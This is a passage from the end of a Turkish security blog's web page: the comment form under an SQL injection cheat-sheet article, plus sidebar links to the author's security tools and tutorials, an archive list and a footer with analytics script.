geçmektedir, bu işlem en uzun 30 dk. sürecektir. E-mail adresleri yeni yorumları bildirme harici hiç bir başka amaçla kullanılmamaktadır ve sitede gözükmemektedir. </blockquote> <form action="/ajax/comments/save/default.aspx?redirect=true" class="commentform" id="addcommentform-sql-injection-cheatsheet" method="post" > <div style="width:100%"> <label for="sender" class="required">İsim / Nick :</label> <input id="sender" name="sender" value="" tabindex="1" /><br /> <label for="email" accesskey="e">Email :</label> <input type="text" id="email" name="email" tabindex="2" title="email" value="" /> <input id="newcomments" name="newcomments" type="checkbox" style="width:auto;display:none" value="1" /> <!-- Yeni yorumlardan haberdar et --><br /> <label for="website">Web Sitesi :</label> <input id="website" name="website" value="" tabindex="3" /><br /> <textarea id="comment" name="comment" tabindex="4" rows="10" cols="10"></textarea> <input type="hidden" value="sql-injection-cheatsheet" name="article" /> <div> <img style="border:1px solid #999;float:right;margin-right:100px" src="/captcha/?908385" width="150" height="50" alt="Captcha Kodu" class="captcha" /> <label style="width:200px;margin-top:15px" for="captcha">Sağdaki Resimdeki Numaralar :</label> <input id="captcha" name="captcha" maxlength="6" tabindex="5" style="margin-top:15px;width:80px"/> </div> <p style="clear:both"><input type="submit" value="Yorumu Ekle" class="but" tabindex="6" /></p> </div> </form> <script type="text/javascript"> $("textarea").markItUp(mySettings); if(self.SendingForm) $("#addcommentform-sql-injection-cheatsheet").ajaxForm({beforeSubmit: SendingForm, success: GetResponse}); </script> </div> <!-- Content Wrapper --> </div> </div> <div id="navigation" > <div class="section"> <div style="text-align:center"> </div> <h2><span id="ferruh">ferruh.mavituna</span></h2> <div class="about"> <p>Site genel olarak güvenlik, internet ve web teknolojileri üzerine yazdığım yazılardan oluşmaktadır. Sitede <strong>2003 yılından</strong> bu yana yazılmış <strong>1750' den fazla yazı</strong> bulunmaktadır.</p> <p> Bunun yanında <a href="/projects-browse/">projeler</a> de geliştirdiğim projeleri, <a href="/white-papers-browse/">ar-ge</a> kısmında güvenlik araştırma dokümanlarıma ulaşabilir, <a href="/applications-browse/">programlar</a> kısmından yazdığım yazılımları download edebilirsiniz. <a href="/hakkinda-oku/">Site hakkında.</a> </p> </div> <div class="aboute"> <p>List of <a href="/tag/english/">english articles</a>, <a href="/search/?s=1&AnyTag=&Tags=english&q=&SearchTitle=&SearchArticle=&SearchTitle=&ExactMatch=&Asc=&Order=&StartDate=&EndDate=&Featured=&OrderByTalk=&OrderByPopulatity=&RSS=1">RSS</a> or <a href="/english-browse/"> try this page</a>.</p> </div> </div> <div class="section"> <h2><span>PROJECTS</span></h2> <ul> <li><a href="http://code.google.com/p/fm-fsf/">Freaking Simple Fuzzer</a></li> <li><a href="http://code.google.com/p/psychofolder/">Psycho Folder</a></li> <li><a href="http://labs.portcullis.co.uk/application/bsql-hacker/">BSQL Hacker</a></li> <li><a href="/windows-md5-checksum-tool-oku/">Win MD5 Checksum Tool</a></li> <li><a href="/hocus-pocus-hide-your-applications-anti-boss-style-oku/">Hocus Pocus</a></li> <li><a href="/sql-injection-cheatsheet-oku/">SQL Injection Cheat Sheet</a></li> <li><a href="http://www.mavitunasecurity.com/blog/webraider/">WebRaider</a></li> <!--<li><a href="http://www.sqlinjectionwiki.com/">SQL Injection Wiki</a></li> <li><a href="http://www.refactormyregex.com/">Refactor My RegEx</a></li> <li><a href="http://www.birseyogren.com/">Bir sey ogren</a></li>--> </ul> </div> <div class="section"> <h2><span>ARAMA</span></h2> <form name="asearch" id="asearch" action="/search/" method="get"> <input type="text" value="" id="q" name="q" style="width:200px" /> <input type="submit" value="Ara" class="but" style="width:50px"/><br /> <input type="hidden" name="SearchArticle" value="1" /> <input type="hidden" name="SearchTitle" value="1" /> <a href="/advancedsearch/">Detaylı Arama</a> </form> </div> <div class="section"> <h2><span>TAKİP</span></h2> <div style="text-align:center"> <a href="/rss/"><img src="/mg/icons/rss.png" width="28" height="28" alt="Siteyi RSS ile Takip Et" /></a> <a href="http://www.feedburner.com/fb/a/emailverifySubmit?feedId=333622&loc=en_US"><img src="/mg/icons/mail.png" width="28" height="28" alt="Siteyi E-mail ile Takip Et" /></a> <a href="http://feeds.feedburner.com/fmavituna"><img src="http://feeds.feedburner.com/~fc/fmavituna?bg=FF99CC&fg=000000&anim=1" height="26" width="88" style="border:0" alt="RSS Takipçileri" /></a> <br /> <a href="http://whos.amung.us/show/s6h5ipp4"><img src="http://whos.amung.us/cwidget/s6h5ipp4/f37433ffffff.png" alt="website stats" width="81" height="29" /></a> <a href="http://twitter.com/fmavituna"><img src="/mg/icons/twitter.png" alt="Follow me on Twitter" width="28" height="28" /></a> <a href="http://friendfeed.com/fmavituna"><img src="/mg/icons/friendfeed.png" alt="Follow me on FriendFeed" width="28" height="28" /></a> </div> </div> <div class="section"> <h2><span>YORUMLAR</span></h2> <div id="livecomments"></div> </div> <div class="section"> <h2><span>CANLI YAYIN</span></h2> <script type="text/javascript" src="http://friendfeed.com/embed/widget/fmavituna?v=2&hide_logo=1&hide_comments_likes=1"></script><noscript><a href="http://friendfeed.com/fmavituna"><img alt="View my FriendFeed" style="border:0;" src="http://friendfeed.com/embed/widget/fmavituna?v=2&hide_logo=1&hide_comments_likes=1&format=png"/></a></noscript> <style> div .friendfeed { border:none !important} </style> </div> <div class="section"> <h2><span>KATEGORİLER</span></h2> <ul> <li><a href="/cat-projects-browse/">Projeler - Programlar</a></li> <li><ul> <li><a href="/bsql-hacker-and-deep-blind-sql-injections-oku/">BSQL Hacker</a></li> <!-- <li><a href="/eski-projeler-oku/">Eski Programlar ve Projeler</a></li> --> </ul></li> <li><a href="/cat-featured-browse/">En İyi Yazılar</a></li> <li><a href="/cat-security-browse/">Güvenlik</a></li> <li><a href="/cat-development-browse/">Yazılım Geliştirme</a></li> <li><a href="/cat-book-browse/">Kitap</a></li> <li><a href="/cat-personal-browse/">Kişisel / Hayat</a></li> <li><a href="/cat-personal-development-browse/">Kişisel Gelişim</a></li> <li><a href="/cat-personal-development-browse/">Online Araçlar ve Projeler</a></li> <li><ul> <li><a href="/tools/converter/">Encoder / Converter</a></li> </ul> </li> <li><a href="/sql+injection-browse/">SQL Injection</a></li> <li><ul> <li><a href="/makale/sql-injection-derslerine-giris/">SQL Injection Dersleri</a></li> <li><a href="/makale/sql-injection-cheatsheet/">SQL Injection Cheat Sheet</a></li> <li><a href="/makale/oracle-sql-injection-cheat-sheet/">ORACLE SQL Injection Cheat Sheet</a></li> <li><a href="/makale/record-locater-for-sql-injection/">Record Locator</a><br /></li> <li><a href="/makale/fast-way-to-extract-data-from-error-based-sql-injections/">Error Based SQL Injections</a></li> </ul> </li> <li><a href="/tags/"><strong>Tüm Kategoriler</strong></a></li> </ul> </div> <div class="section"> <h2><span>ARŞİV</span></h2> <h3>Senelere Göre Arşivler</h3> <ul> <li><a href="/archive/year/2010/">2010</a> (git say!)</li> <li><a href="/archive/year/2009/">2009</a> (40 yazı)</li> <li><a href="/archive/year/2008/">2008</a> (147 yazı)</li> <li><a href="/archive/year/2007/">2007</a> (358 yazı)</li> <li><a href="/archive/year/2006/">2006</a> (299 yazı)</li> <li><a href="/archive/year/2005/">2005</a> (356 yazı)</li> <li><a href="/archive/year/2004/">2004</a> (350 yazı)</li> <li><a href="/archive/year/2003/">2003</a> (245 yazı)</li> </ul> <h3>Diğer Arşiv Erişimleri</h3> <ul> <li><a href="/tags/">Etiket Arşivi</a></li> <li><a href="/archive/titles/">Son Yazılar</a></li> <li><a href="/archive/featured/">En iyi Yazılar</a></li> <li><a href="/archive/popular/">En Popüler Yazılar</a></li> <li><a href="/archive/looser/">En Tırt Yazılar</a></li> <li><a href="/archive/sensational/">Çok konuşulan Yazılar</a></li> <li><a href="/archive/whocares/">Kimsenin Takmadığı Yazılar</a></li> </ul> </div> <p> </p> </div> <!-- navigation --> <!-- <div id="paging"> <p>.</p> </div>--> </div> <!-- Main Container --> <div id="footer"> <div align="center"> <div class="content"> Ferruh Mavituna © 2002-2009<br /> <a href="/hakkinda-oku/">Hakkında</a>, <a href="/contact/">İletişim</a>, <a href="/newspaper/">Okuduklarım</a>, <a href="http://www.feedburner.com/fb/a/emailverifySubmit?feedId=333622&loc=en_US">Mail-List</a>, <a href="/rss/">RSS</a> </p> </div> </div> </div> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> var pageTracker = _gat._getTracker("UA-105651-3"); pageTracker._trackPageview(document.referrer); </script> </body> </html>